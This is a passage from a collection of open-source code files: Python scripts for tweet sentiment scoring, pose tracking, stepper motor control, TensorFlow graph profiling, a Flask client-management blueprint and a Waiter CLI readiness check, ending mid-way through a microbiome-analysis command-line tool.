+{"seq_id":"15918778681","text":"# Twitter Sentiment Analysis\n# Program that proccess tweets and determines the region of tweet as well as corresponding Happiness Value\n\nkeyWordsDict = dict() # Empty dictionary to stored key words in\n\nkeyInput = int(input(\"Would you like to manually add key words (Type 1) or use a text file containing the words(Type 2):\"))\nif keyInput == 2:\n keyWordsName = str(input(\"Enter the name of the file containing the keywords:\"))\n\n keyWordsfile = open(keyWordsName, \"r\") # Opens and reads Keywords Text\n line = keyWordsfile.readline()\n while line != \"\": # While loop to add the key word and its value to the empty dictionary\n line = line.replace(\",\",\" \")\n line = line.strip()\n line = line.split(\" \") # Splits the line\n keyWordsDict.update({line[0]: line[1]}) # Adds the key word and its value to keyWordsDict\n line = keyWordsfile.readline()\n keyWordsfile.close()\nelif keyInput == 1:\n entry = \"Y\"\n while entry == \"Y\":\n keyWord = str(input(\"Enter a key word to add:\"))\n keyValue = int(input(\"Enter its value:\"))\n keyWordsDict.update({keyWord: keyValue})\n entry = str(input(\"Would you like to add another key word? (Y/N) \")).upper()\n\n\n\n\n\n\ndef coordinates(text): # Function that determines what region the tweet belongs to\n text = text.split(\"]\")\n coordinates = text[0]\n coordinates = coordinates.strip(\"[\")\n coordinates = coordinates.replace(\",\",\"\")\n coordinates = coordinates.split()\n latCord = float(coordinates[0])\n longCord = float(coordinates[1])\n if 24.660845 <= latCord <= 49.189787 and -87.518395 <= longCord <= -67.444574: # Checks for Eastern Region\n region = \"Eastern\"\n elif 24.660845 <= latCord <= 49.189787 and -101.998892 <= longCord <= -87.518395: # Check for Central Region\n region = \"Central\"\n elif 24.660845 <= latCord <= 49.189787 and -115.236428 <= longCord <= -101.998892: # Check for Mountain Region\n region = \"Mountain\"\n elif 24.660845 <= latCord <= 49.189787 and -125.242264 <= longCord <= -115.236428: # Check for Pacific Region\n region = \"Pacific\"\n else:\n region = \"outofrange\"\n\n return region\n\n\ndef tweetSentiment(text): # Function that determines the Sentiment value of the tweet\n sentiment = 0\n text = text.split() # Splits the line into a list\n del text[0:5] # Deletes all elements until where the tweet starts\n tweet = \"\" # Empty string to add the elements of the list to make the tweet\n for i in text:\n tweet = tweet + \" \" + i\n tweet = tweet.rstrip(\",./?!@#$%^&*():; \") # Strips tweet from right side for certain characters\n tweet = tweet.lstrip(\",./?!@#$%^&*():; \") # Strips tweet from left side for certain characters\n tweet = tweet.lower() # Makes all words in the tweet lower case\n tweetlist = tweet.split() # Splits the tweet into a list\n for i in tweetlist:\n if i in keyWordsDict: # Checks to see if words from the tweet are in the dictionary for keywords\n sentiment = sentiment + int(keyWordsDict[i])\n\n return sentiment\n\n\neasternCount = 0 # Total number of tweets in eastern region\neasternScore = 0 # Total sentiment value in eastern region\ncentralCount = 0 # Total number of tweets in central region\ncentralScore = 0 # Total sentiment value in central region\nmountainCount = 0 # Total number of tweets in mountain region\nmountainScore = 0 # Total sentiment value in mountain region\npacificCount = 0 # Total number of tweets in pacific region\npacificScore = 0 # Total sentiment value in pacific region\n\ntweetsName = str(input(\"Enter the name of the file containing the tweets:\"))\ninputfile = open(tweetsName, \"r\") # Opens and reads tweets Text\nline = inputfile.readline()\nwhile line != \"\": # While loop to check if each tweet has sentiment value and what region it belongs to\n area = (coordinates(line)) # Calling coordinates function to determine region of tweet\n score = (tweetSentiment(line)) # calling tweetSentiment function to determine sentiment of tweet\n if area == \"Eastern\" and score != 0:\n easternCount = easternCount + 1\n easternScore = easternScore + score\n elif area == \"Central\" and score != 0:\n centralCount = centralCount + 1\n centralScore = centralScore + score\n elif area == \"Mountain\" and score != 0:\n mountainCount = mountainCount + 1\n mountainScore = mountainScore + score\n elif area == \"Pacific\" and score != 0:\n pacificCount = pacificCount + 1\n pacificScore = pacificScore + score\n line = inputfile.readline()\ninputfile.close()\n\nif easternCount != 0:\n eastHapValu = easternScore/easternCount # Calculated Eastern Region Happiness Value\nelse:\n eastHapValu = 0\nif centralCount!= 0:\n centHapValu = centralScore/centralCount # Calculates Central Region Happiness Value\nelse:\n centHapValu = 0\nif mountainCount != 0:\n mounHapValu = mountainScore/mountainCount # Calculates Mountain Region Happiness Value\nelse:\n mounHapValu = 0\nif pacificCount!= 0:\n pacificHapValue = pacificScore/pacificCount\nelse:\n pacificHapValue = 0\n\nprint('The Happiness Score for The Eastern Region is', round(eastHapValu, 2), 'With a Total of', easternCount, 'Tweets')\nprint('The Happiness Score for The Central Region is', round(centHapValu, 2), 'With a Total of', centralCount, 'Tweets')\nprint('The Happiness Score for The Mountain Region is', round(mounHapValu, 2), 'With a Total of', mountainCount, 'Tweets')\nprint('The Happiness Score for The Pacific Region is', round(pacificHapValue, 2), 'With a Total of', pacificCount, 'Tweets')\n","repo_name":"Scrolen/Tweet-Sentiment-Analysis","sub_path":"tweet_sentiment_analysis.py","file_name":"tweet_sentiment_analysis.py","file_ext":"py","file_size_in_byte":5834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32675531125","text":"import os\nimport cv2\nimport logging\nimport numpy as np\nfrom tqdm import tqdm\nfrom dataclasses import dataclass\nfrom pose_pipeline.env import add_path\n\n\nparams = {\n \"K\": 100,\n \"amodel_offset_weight\": 1,\n \"arch\": \"dla_34\",\n \"backbone\": \"dla34\",\n \"box_nms\": -1,\n \"chunk_sizes\": [32],\n \"clip_len\": 2,\n \"dataset\": \"coco\",\n \"debug\": 0,\n \"debugger_theme\": \"white\",\n \"deform_kernel_size\": 3,\n \"dense_reg\": 1,\n \"dep_weight\": 1,\n \"depth_scale\": 1,\n \"dim_weight\": 1,\n \"dla_node\": \"dcn\",\n \"down_ratio\": 4,\n \"efficient_level\": 0,\n \"embedding\": False,\n \"exp_id\": \"default\",\n \"fix_res\": True,\n \"fix_short\": -1,\n \"flip_test\": False,\n \"fp_disturb\": 0,\n \"gpus\": [0],\n \"gpus_str\": \"0\",\n \"head_conv\": {\"hm\": [256], \"reg\": [256], \"wh\": [256], \"ltrb_amodal\": [256]},\n \"head_kernel\": 3,\n \"heads\": {\"hm\": 1, \"reg\": 2, \"wh\": 2, \"ltrb_amodal\": 4},\n \"hungarian\": False,\n \"inference\": True,\n \"input_h\": 480,\n \"input_res\": 864,\n \"input_w\": 864,\n \"lost_disturb\": 0,\n \"map_argoverse_id\": False,\n \"max_age\": -1,\n \"max_frame_dist\": 3,\n \"model_output_list\": False,\n \"msra_outchannel\": 256,\n \"nID\": -1,\n \"neck\": \"dlaup\",\n \"new_thresh\": 0.5,\n \"nms\": False,\n \"no_pause\": False,\n \"non_block_test\": False,\n \"num_classes\": 1,\n \"num_head_conv\": 1,\n \"num_layers\": 101,\n \"num_stacks\": 1,\n \"out_thresh\": 0.5,\n \"output_h\": 120,\n \"output_res\": 216,\n \"output_w\": 216,\n \"overlap_thresh\": 0.05,\n \"pad\": 31,\n \"pre_hm\": True,\n \"pre_img\": True,\n \"pre_thresh\": 0.5,\n \"prior_bias\": -4.6,\n \"public_det\": False,\n \"reg_loss\": \"l1\",\n \"reset_hm\": False,\n \"resize_video\": True,\n \"reuse_hm\": False,\n \"save_video\": False,\n \"scale\": 0,\n \"seg\": False,\n \"seg_feat_channel\": 8,\n \"skip_first\": -1,\n \"task\": \"tracking\",\n \"test_focal_length\": -1,\n \"test_scales\": [1.0],\n \"track_thresh\": 0.5,\n \"tracking\": True,\n \"trades\": True,\n \"window_size\": 20,\n \"zero_pre_hm\": False,\n \"zero_tracking\": False,\n}\n\n\ndef trades_bounding_boxes(file_path):\n\n import torch\n from torchvision import transforms\n\n from pose_pipeline import MODEL_DATA_DIR\n\n model_file = os.path.join(MODEL_DATA_DIR, \"trades/crowdhuman.pth\")\n print(model_file)\n opt = dataclass()\n for k, v in params.items():\n opt.__setattr__(k, v)\n\n opt.load_model = model_file\n\n cap = cv2.VideoCapture(file_path)\n\n width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\n height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n frames = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))\n\n if height > width:\n # change configuration to better handle portrait mode\n opt.input_h = 864\n opt.input_w = 480\n opt.input_res = 864 # unchanged\n opt.output_h = 216\n opt.output_w = 120\n opt.output_res = 216 # unchanged\n\n tracks = []\n\n with add_path(os.environ[\"TRADES_PATH\"]):\n from detector import Detector\n\n detector = Detector(opt)\n\n tracks = []\n\n for i in tqdm(range(frames)):\n\n ret, frame = cap.read()\n if not ret or frame is None:\n print(\"Failed to read a frame\")\n break\n\n frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)\n\n results = detector.run(frame)\n\n tracks.append(results)\n\n del detector\n\n def parse_result(x):\n return {\n \"track_id\": x[\"tracking_id\"],\n \"tlbr\": np.array(x[\"bbox\"]),\n \"tlhw\": np.array([*x[\"bbox\"][:2], x[\"bbox\"][2] - x[\"bbox\"][0], x[\"bbox\"][3] - x[\"bbox\"][1]]),\n \"confidence\": x[\"score\"],\n }\n\n return [[parse_result(x) for x in frame[\"results\"]] for frame in tracks]\n","repo_name":"peabody124/PosePipeline","sub_path":"pose_pipeline/wrappers/trades.py","file_name":"trades.py","file_ext":"py","file_size_in_byte":3754,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"61"} +{"seq_id":"71766780355","text":"# coding=utf-8\n#\n# motor_stepper_bipolar_generaic.py - Output for stepper motor\n#\nimport copy\nimport time\n\nfrom flask_babel import lazy_gettext\n\nfrom mycodo.databases.models import OutputChannel\nfrom mycodo.outputs.base_output import AbstractOutput\nfrom mycodo.utils.constraints_pass import constraints_pass_positive_or_zero_value\nfrom mycodo.utils.constraints_pass import constraints_pass_positive_value\nfrom mycodo.utils.database import db_retrieve_table_daemon\nfrom mycodo.utils.influx import add_measurements_influxdb\n\n# Measurements\nmeasurements_dict = {\n 0: {\n 'measurement': 'rotation',\n 'unit': 'steps'\n }\n}\n\nchannels_dict = {\n 0: {\n 'types': ['value'],\n 'measurements': [0]\n }\n}\n\n# Output information\nOUTPUT_INFORMATION = {\n 'output_name_unique': 'stepper_bipolar_generic',\n 'output_name': \"{}: {}, {} ({})\".format(lazy_gettext('Motor'), lazy_gettext('Stepper Motor'), lazy_gettext('Bipolar'), lazy_gettext('Generic')),\n 'output_library': 'RPi.GPIO',\n 'measurements_dict': measurements_dict,\n 'channels_dict': channels_dict,\n 'output_types': ['value'],\n\n 'url_manufacturer': [\n 'https://www.ti.com/product/DRV8825',\n 'https://www.allegromicro.com/en/products/motor-drivers/brush-dc-motor-drivers/a4988'],\n 'url_datasheet': [\n 'https://www.ti.com/lit/ds/symlink/drv8825.pdf',\n 'https://www.allegromicro.com/-/media/files/datasheets/a4988-datasheet.ashx'],\n 'url_product_purchase': [\n 'https://www.pololu.com/product/2133',\n 'https://www.pololu.com/product/1182'],\n\n 'message': 'This is a generic module for bipolar stepper motor drivers such as the '\n 'DRV8825, A4988, and others. The value passed to the output is the number '\n 'of steps. A positive value turns clockwise and a negative value turns '\n 'counter-clockwise.',\n\n 'options_enabled': [\n 'button_send_value'\n ],\n 'options_disabled': ['interface'],\n\n 'dependencies_module': [\n ('pip-pypi', 'RPi.GPIO', 'RPi.GPIO==0.7.1')\n ],\n\n 'interfaces': ['GPIO'],\n\n 'custom_channel_options': [\n {\n 'type': 'message',\n 'default_value': 'If the Direction or Enable pins are not used, make sure you pull the appropriate pins on your driver high or low to set the proper direction and enable the stepper motor to be energized. Note: For Enable Mode, always having the motor energized will use more energy and produce more heat.',\n },\n {\n 'id': 'pin_step',\n 'type': 'integer',\n 'default_value': None,\n 'required': False,\n 'constraints_pass': constraints_pass_positive_or_zero_value,\n 'name': 'Step Pin',\n 'phrase': 'The Step pin of the controller (BCM numbering)'\n },\n {\n 'id': 'full_step_delay',\n 'type': 'float',\n 'default_value': 0.005,\n 'constraints_pass': constraints_pass_positive_value,\n 'name': 'Full Step Delay',\n 'phrase': 'The Full Step Delay of the controller'\n },\n {\n 'id': 'pin_dir',\n 'type': 'integer',\n 'default_value': None,\n 'required': False,\n 'constraints_pass': constraints_pass_positive_or_zero_value,\n 'name': 'Direction Pin',\n 'phrase': \"{} {}\".format(\n 'The Direction pin of the controller (BCM numbering).',\n lazy_gettext('Set to None to disable.'))\n },\n {\n 'id': 'pin_enable',\n 'type': 'integer',\n 'default_value': None,\n 'required': False,\n 'constraints_pass': constraints_pass_positive_or_zero_value,\n 'name': 'Enable Pin',\n 'phrase': 'The Enable pin of the controller (BCM numbering). {}'.format(\n lazy_gettext('Set to None to disable.'))\n },\n {\n 'id': 'enable_mode',\n 'type': 'select',\n 'default_value': 'only_run',\n 'options_select': [\n ('only_run', 'Only When Turning'),\n ('always', 'Always'),\n ],\n 'name': 'Enable Mode',\n 'phrase': 'Choose when to pull the enable pin high to energize the motor.'\n },\n {\n 'id': 'enable_shutdown',\n 'type': 'select',\n 'default_value': 'disable',\n 'options_select': [\n ('enable', 'Enable'),\n ('disable', 'Disable'),\n ],\n 'name': 'Enable at Shutdown',\n 'phrase': 'Choose whether the enable pin in pulled high (Enable) or low (Disable) when Mycodo shuts down.'\n },\n {'type': 'new_line'},\n {\n 'type': 'message',\n 'default_value': 'If using a Step Resolution other than Full, and all three Mode Pins are set, they will be set high (1) or how (0) according to the values in parentheses to the right of the selected Step Resolution, e.g. (Mode Pin 1, Mode Pin 2, Mode Pin 3).',\n },\n {\n 'id': 'step_resolution',\n 'type': 'select',\n 'default_value': 'Full',\n 'options_select': [\n ('Full', 'Full (modes 0, 0, 0)'),\n ('Half', 'Half (modes 1, 0, 0)'),\n ('1/4', '1/4 (modes 0, 1, 0)'),\n ('1/8', '1/8 (modes 1, 1, 0)'),\n ('1/16', '1/16 (modes 0, 0, 1)'),\n ('1/32', '1/32 (modes 1, 0, 1)')\n ],\n 'name': 'Step Resolution',\n 'phrase': 'The Step Resolution of the controller'\n },\n {\n 'id': 'pin_mode_1',\n 'type': 'integer',\n 'default_value': None,\n 'required': False,\n 'constraints_pass': constraints_pass_positive_or_zero_value,\n 'name': 'Mode Pin 1',\n 'phrase': 'The Mode Pin 1 of the controller (BCM numbering). {}'.format(\n lazy_gettext('Set to None to disable.'))\n },\n {\n 'id': 'pin_mode_2',\n 'type': 'integer',\n 'default_value': None,\n 'required': False,\n 'constraints_pass': constraints_pass_positive_or_zero_value,\n 'name': 'Mode Pin 2',\n 'phrase': 'The Mode Pin 2 of the controller (BCM numbering). {}'.format(\n lazy_gettext('Set to None to disable.'))\n },\n {\n 'id': 'pin_mode_3',\n 'type': 'integer',\n 'default_value': None,\n 'required': False,\n 'constraints_pass': constraints_pass_positive_or_zero_value,\n 'name': 'Mode Pin 3',\n 'phrase': 'The Mode Pin 3 of the controller (BCM numbering). {}'.format(\n lazy_gettext('Set to None to disable.'))\n }\n ]\n}\n\n\nclass OutputModule(AbstractOutput):\n \"\"\"An output support class that operates an output.\"\"\"\n def __init__(self, output, testing=False):\n super().__init__(output, testing=testing, name=__name__)\n\n self.stepper = None\n\n output_channels = db_retrieve_table_daemon(\n OutputChannel).filter(OutputChannel.output_id == self.output.unique_id).all()\n self.options_channels = self.setup_custom_channel_options_json(\n OUTPUT_INFORMATION['custom_channel_options'], output_channels)\n\n def initialize(self):\n self.setup_output_variables(OUTPUT_INFORMATION)\n\n mode_pins = []\n if (self.options_channels['pin_mode_1'][0] and\n self.options_channels['pin_mode_2'][0] and\n self.options_channels['pin_mode_3'][0]):\n mode_pins = (self.options_channels['pin_mode_1'][0],\n self.options_channels['pin_mode_2'][0],\n self.options_channels['pin_mode_3'][0])\n elif any([self.options_channels['pin_mode_1'][0],\n self.options_channels['pin_mode_2'][0],\n self.options_channels['pin_mode_3'][0]]):\n self.logger.warning(\n \"When setting mode pins, this driver needs all three to be set.\")\n elif self.options_channels['step_resolution'][0] != \"Full\":\n self.logger.warning(\n \"When using a step resolution other than Full, mode pins should be set. \"\n \"Only proceed if you know what you're doing (e.g. they're pulled high/low \"\n \"on the board and not via Mycodo GPIO pins).\")\n\n if self.options_channels['pin_step'][0]:\n try:\n self.stepper = StepperMotor(\n self.options_channels['pin_enable'][0],\n self.options_channels['pin_step'][0],\n self.options_channels['pin_dir'][0],\n mode_pins,\n self.options_channels['step_resolution'][0],\n self.options_channels['full_step_delay'][0])\n self.output_setup = True\n\n if (self.options_channels['pin_enable'][0] and\n self.options_channels['enable_mode'][0] == \"always\"):\n self.stepper.enable(True)\n except:\n self.logger.exception(\"Stepper setup\")\n self.output_setup = False\n else:\n self.logger.error(\"Step pin must be set\")\n\n def output_switch(self, state, output_type=None, amount=None, output_channel=None):\n if not self.is_setup():\n msg = \"Error 101: Device not set up. See https://kizniche.github.io/Mycodo/Error-Codes#error-101 for more info.\"\n self.logger.error(msg)\n return msg\n\n measure_dict = copy.deepcopy(measurements_dict)\n\n if amount not in [None, 0]:\n if (self.options_channels['pin_enable'][0] and\n self.options_channels['enable_mode'][0] == \"only_run\"):\n self.stepper.enable(True)\n \n if amount > 0:\n self.stepper.run(int(amount), True)\n elif amount < 0:\n self.stepper.run(int(abs(amount)), False)\n \n if (self.options_channels['pin_enable'][0] and\n self.options_channels['enable_mode'][0] == \"only_run\"):\n self.stepper.enable(False)\n\n measure_dict[0]['value'] = amount\n elif state == \"off\":\n if (self.options_channels['pin_enable'][0] and\n self.options_channels['enable_mode'][0] == \"only_run\"):\n self.stepper.enable(False)\n if self.stepper.running:\n self.stepper.stop_running()\n else:\n self.logger.error(\n \"Invalid parameters: State: {state}, Type: {ot}, Amount: {amt}\".format(\n state=state,\n ot=output_type,\n amt=amount))\n return\n\n add_measurements_influxdb(self.unique_id, measure_dict)\n\n def is_on(self, output_channel=None):\n if self.is_setup():\n return self.stepper.running\n\n def is_setup(self):\n return self.output_setup\n\n def stop_output(self):\n \"\"\"Called when Output is stopped.\"\"\"\n if self.is_setup():\n if self.options_channels['enable_shutdown'][0] == \"enable\":\n self.stepper.enable(True)\n elif self.options_channels['enable_shutdown'][0] == \"disable\":\n self.stepper.enable(False)\n self.stepper.stop_running()\n\n\nclass StepperMotor:\n \"\"\"\n Generic stepper motor driver\n Modified from https://github.com/dimschlukas/rpi_python_drv8825\n \"\"\"\n def __init__(self, enable_pin, step_pin, dir_pin, mode_pins, step_type, full_step_delay):\n import RPi.GPIO as GPIO\n\n self.GPIO = GPIO\n\n self.enable_pin = enable_pin\n self.step_pin = step_pin\n self.dir_pin = dir_pin\n self.break_turn = False\n self.running = False\n\n GPIO.setwarnings(False)\n GPIO.setmode(GPIO.BCM)\n GPIO.setup(step_pin, GPIO.OUT)\n\n if enable_pin:\n GPIO.setup(enable_pin, GPIO.OUT)\n if dir_pin:\n GPIO.setup(dir_pin, GPIO.OUT)\n if mode_pins and all(mode_pins):\n GPIO.setup(mode_pins, GPIO.OUT)\n\n resolution = {\n 'Full': (0, 0, 0),\n 'Half': (1, 0, 0),\n '1/4': (0, 1, 0),\n '1/8': (1, 1, 0),\n '1/16': (0, 0, 1),\n '1/32': (1, 0, 1)\n }\n micro_steps = {\n 'Full': 1,\n 'Half': 2,\n '1/4': 4,\n '1/8': 8,\n '1/16': 16,\n '1/32': 32\n }\n\n self.delay = full_step_delay / micro_steps[step_type]\n if mode_pins and all(mode_pins):\n GPIO.output(mode_pins, resolution[step_type])\n\n def enable(self, enable):\n if self.enable_pin:\n self.GPIO.output(self.enable_pin, not enable)\n\n def stop_running(self):\n if self.running:\n self.break_turn = True\n\n def run(self, steps, clockwise):\n if self.dir_pin:\n self.GPIO.output(self.dir_pin, clockwise)\n self.running = True\n for _ in range(steps):\n if self.break_turn:\n break\n self.GPIO.output(self.step_pin, self.GPIO.HIGH)\n time.sleep(self.delay)\n self.GPIO.output(self.step_pin, self.GPIO.LOW)\n time.sleep(self.delay)\n self.running = False\n self.break_turn = False\n","repo_name":"kizniche/Mycodo","sub_path":"mycodo/outputs/motor_stepper_bipolar_generic.py","file_name":"motor_stepper_bipolar_generic.py","file_ext":"py","file_size_in_byte":13522,"program_lang":"python","lang":"en","doc_type":"code","stars":2708,"dataset":"github-code","pt":"61"} +{"seq_id":"10213990705","text":"import tensorflow as tf\nfrom tensorflow.python.client import timeline\nimport json\nimport os\nimport pickle\nfrom .cg_operator import Operator\n\nclass CompGraph:\n\n def __init__(self, model_name, run_metadata, tf_graph, *, keyword_filter=None):\n\n self.model_name = model_name\n self.run_metadata = run_metadata\n self.tf_graph = tf_graph\n\n fetched_timeline = timeline.Timeline(self.run_metadata.step_stats)\n chrome_trace = fetched_timeline.generate_chrome_trace_format()\n\n self.trace_list = json.loads(chrome_trace)\n self.keyword_filter = keyword_filter\n\n return\n\n def get_tensors(self):\n\n tensor_dict = {}\n self.op_list = []\n\n for op_trace in self.trace_list['traceEvents']:\n if 'dur' in op_trace.keys():\n\n op_args = op_trace['args']\n op_name = str(op_args['name'])\n\n try:\n tf_repr = self.tf_graph.get_operation_by_name(op_name)\n\n op = Operator(op_trace, self.tf_graph, self.model_name,\n self.keyword_filter)\n self.op_list.append(op)\n\n if not op.is_aid_op:\n for input_tensor in tf_repr.inputs:\n tensor_dict[input_tensor.name] = input_tensor\n for output_tensor in tf_repr.outputs:\n tensor_dict[output_tensor.name] = output_tensor\n #else:\n # print('Aid op name: {}, op_type: {}'.format(\n # op.op_name, op.op_type))\n\n except Exception as excep:\n # the log should be further redirected to LOG files\n print(repr(excep))\n continue\n\n return tensor_dict\n\n def op_analysis(self, shape_dict, filename, *, dir_name='log'):\n\n not_impl = {}\n\n for op in self.op_list:\n try:\n op.analysis(shape_dict, self.tf_graph)\n except NotImplementedError as excep:\n not_impl[op.op_type] = 'N'\n\n if len(not_impl) != 0:\n print(not_impl)\n raise NotImplementedError\n\n if os.getenv('LOG_OUTPUT_DIR') is not None:\n full_filename = os.path.join(os.getenv('LOG_OUTPUT_DIR'), dir_name,\n filename)\n else:\n full_filename = os.path.join(os.getenv('HOME'), dir_name,\n filename)\n\n with open(full_filename, 'wb') as f:\n pickle.dump(self.op_list, f)\n\n return\n","repo_name":"miglopst/cs263_spring2018","sub_path":"tensorflow/tools/cg_profiler/cg_graph.py","file_name":"cg_graph.py","file_ext":"py","file_size_in_byte":2647,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"61"} +{"seq_id":"44570404525","text":"# coding utf-8\nfrom flask import Blueprint, render_template, request, url_for, redirect, jsonify\nimport hashlib\n\nfrom mod_login.login import validaSessao\nfrom mod_cliente.clienteBD import Clientes\nfrom funcoes import Funcoes\n\nbp_cliente = Blueprint('cliente', __name__, url_prefix='/cliente', template_folder='templates')\n\n@bp_cliente.route(\"/\", methods=['GET', 'POST'])\n@validaSessao\ndef formListaClientes():\n cliente = Clientes()\n res = cliente.selectAll()\n return render_template(\"formListaClientes.html\", result=res, content_type='application/json')\n\n\n@bp_cliente.route(\"/formCliente\")\n@validaSessao\ndef formCliente():\n cliente = Clientes() \n return render_template(\"formCliente.html\", cliente=cliente, content_type='application/json')\n \n\n@bp_cliente.route(\"/formEditCliente\", methods=['POST'])\n@validaSessao\ndef formEditCliente():\n cliente = Clientes()\n cliente.id_cliente = request.form['id_cliente']\n cliente.selectOne()\n return render_template('formCliente.html', cliente=cliente, content_type='application/json')\n\n@bp_cliente.route(\"/addCliente\", methods = ['POST'])\n@validaSessao\ndef addCliente():\n _mensagem = \"\" \n try:\n cliente = Clientes()\n cliente.id_cliente = request.form['id_cliente'] \n cliente.nome = request.form['nome']\n cliente.endereco = request.form['endereco']\n cliente.numero = request.form['numero']\n cliente.observacao = request.form['observacao']\n cliente.cep = request.form['cep']\n cliente.bairro = request.form['bairro']\n cliente.cidade = request.form['cidade']\n cliente.estado = request.form['estado']\n cliente.telefone = request.form['telefone']\n cliente.email = request.form['email']\n cliente.login = request.form['login']\n cliente.senha = Funcoes.criptografaSenha(request.form['senha'])\n cliente.grupo = request.form['grupo']\n _mensagem = cliente.insert()\n return jsonify(erro = False, mensagem = _mensagem)\n except Exception as e:\n if len(e.args) > 1:\n _mensagem, _mensagem_exception = e.args\n return jsonify(erro = True, mensagem = _mensagem, mensagem_exception = _mensagem_exception)\n else:\n return jsonify(erro = True,mensagem = \"Erro ao tentar cadastrar cliente!\" ,mensagem_exception = str(e))\n \n \n\n@bp_cliente.route(\"/editCliente\", methods=['POST'])\n@validaSessao\ndef editCliente():\n try:\n cliente = Clientes()\n cliente.id_cliente = request.form['id_cliente']\n tipo = request.form['tipo']\n \n \n if tipo == 'editar':\n cliente.nome = request.form['nome']\n cliente.endereco = request.form['endereco']\n cliente.numero = request.form['numero']\n cliente.observacao = request.form['observacao']\n cliente.cep = request.form['cep']\n cliente.bairro = request.form['bairro']\n cliente.cidade = request.form['cidade']\n cliente.estado = request.form['estado']\n cliente.telefone = request.form['telefone']\n cliente.email = request.form['email']\n cliente.login = request.form['login'] \n cliente.grupo = request.form['grupo']\n \n _mensagem = cliente.update()\n elif tipo == 'excluir':\n _mensagem = cliente.delete()\n\n return jsonify(erro = False, mensagem = _mensagem)\n except Exception as e:\n _mensagem, _mensagem_exception = e.args\n return jsonify(erro = True, mensagem = _mensagem, mensagem_exception = _mensagem_exception)\n\n@bp_cliente.route('/verificaSeLoginExiste', methods = ['POST'])\n@validaSessao\ndef verificaSeLoginExiste():\n cliente = Clientes()\n cliente.login = request.form['login']\n\n try:\n result = cliente.verificaSeLoginExiste()\n #Verifica se achou o login no banco\n if len(result) > 0:\n return jsonify(login_existe = True)\n else:\n return jsonify(login_existe = False)\n except Exception as e:\n return jsonify(erro = True, mensagem_exception = str(e))\n\n","repo_name":"felipepg22/webPythonProjetoWeb2020_02","sub_path":"mod_cliente/cliente.py","file_name":"cliente.py","file_ext":"py","file_size_in_byte":4127,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12072030197","text":"\nfrom retrying import retry, RetryError\nfrom waiter import terminal\nfrom waiter.action import check_ssl, process_ping_request\nfrom waiter.util import check_positive, guard_no_cluster, print_error\n\n_default_timeout = 300\n\n\ndef ready(clusters, args, _, __):\n \"\"\"Ensure the Waiter service is ready for traffic.\"\"\"\n guard_no_cluster(clusters)\n port = 443\n token_name = args.get('token')\n token_host = f'{token_name}:{port}'\n ping_timeout_secs = args.get('ping_timeout', _default_timeout)\n ssl_timeout_secs = args.get('connect_timeout', _default_timeout)\n\n expected_image = args.get('image')\n expected_version = args.get('version')\n expected_parameters = {}\n if expected_image is not None:\n expected_parameters['image'] = expected_image\n if expected_version is not None:\n expected_parameters['version'] = expected_version\n\n wait_secs = 10 if ssl_timeout_secs > 10 else 1\n if not process_ping_request(clusters, token_name, False, expected_parameters, ping_timeout_secs, True):\n return 1\n retry_options = {\n 'retry_on_result': lambda r: not r,\n 'stop_max_delay': ssl_timeout_secs * 1000,\n 'wait_fixed': wait_secs * 1000,\n }\n print(f'Awaiting successful connection to {terminal.bold(token_host)}')\n check_ssl_with_retries = retry(**retry_options)(check_ssl)\n try:\n check_ssl_with_retries(token_name, port, ssl_timeout_secs)\n # Any exception indicates an issue connecting to or handshaking the backend service\n except Exception as e:\n print_error(e)\n print_error(f'Failed to connect to {token_host} after {ssl_timeout_secs} seconds')\n return 1\n return 0\n\n\ndef register(add_parser):\n \"\"\"Adds this sub-command's parser and returns the action function\"\"\"\n parser = add_parser('ready', help='ensure the target token is ready for traffic')\n parser.add_argument('token')\n parser.add_argument('--ping-timeout', help=f'timeout (in seconds) for ping request via waiter api'\n f' (default is {_default_timeout} seconds)',\n type=check_positive, default=_default_timeout)\n parser.add_argument('--connect-timeout', help=f'timeout (in seconds) for tls connection to service'\n f' (default is {_default_timeout} seconds)',\n type=check_positive, default=_default_timeout)\n # CLI arguments for configuring expected parameters\n parser.add_argument('--image', help='Expected image parameter of the service, default is to ignore matching')\n parser.add_argument('--version', help='Expected version parameter of the service, default is to ignore matching')\n\n return ready\n\n","repo_name":"twosigma/waiter","sub_path":"cli/waiter/subcommands/ready.py","file_name":"ready.py","file_ext":"py","file_size_in_byte":2695,"program_lang":"python","lang":"en","doc_type":"code","stars":84,"dataset":"github-code","pt":"61"} +{"seq_id":"27629561807","text":"import click\n\nfrom microbiome_analyzer.run import runner\nfrom microbiome_analyzer import __version__\n\n\n@click.command()\n@click.option(\n \"-i\", \"--analysis-folder\", required=True,\n help=\"Path to the folder containing the data and metadata sub-folders\")\n@click.option(\n \"-d\", \"--datasets\", multiple=True, required=True,\n help=\"Dataset(s) identifier(s). Multiple is possible: e.g. \"\n \"-d dataset_number_1 and -d dataset_number_2 for \"\n \"'tab_dataset_number_1.tsv' and tab_dataset_number_2.tsv'\")\n@click.option(\n \"-n\", \"--project-name\", required=True, show_default=True,\n help=\"Nick name for your project\")\n@click.option(\n \"-f\", \"--filter\", show_default=True, default=False,\n help=\"Samples to remove, min. read abundance and feature prevalence \"\n \"(>1 = based on absolute reads, 0-1 = based on relative reads). \"\n \"(yaml file)\")\n@click.option(\n \"-r\", \"--rarefactions\", required=False, show_default=False,\n help=\"rarefaction depth per dataset (yaml file)\")\n@click.option(\n \"-e\", \"--qiime2-env\", required=True, show_default=True,\n help=\"name of your qiime2 conda environment (e.g. qiime2-2021.11)\")\n@click.option(\n \"-v\", \"--sepp-tree\", required=False, show_default=True, default=None,\n help=\"Qiime2 SEPP reference database to use for 16S reads placement: \"\n \"https://docs.qiime2.org/2019.10/data-resources/#sepp-reference-\"\n \"databases (auto detection of datasets' tables with sequences as \"\n \"features)\")\n@click.option(\n \"-w\", \"--wol-tree\", required=False, show_default=True,\n default='resources/wol_tree.nwk',\n help=\"path to the tree containing the genome IDs (will check if exist in \"\n \"features names) (On barnacle, it is there: \"\n \"/projects/wol/profiling/dbs/wol/phylogeny/tree.nwk)\")\n@click.option(\n 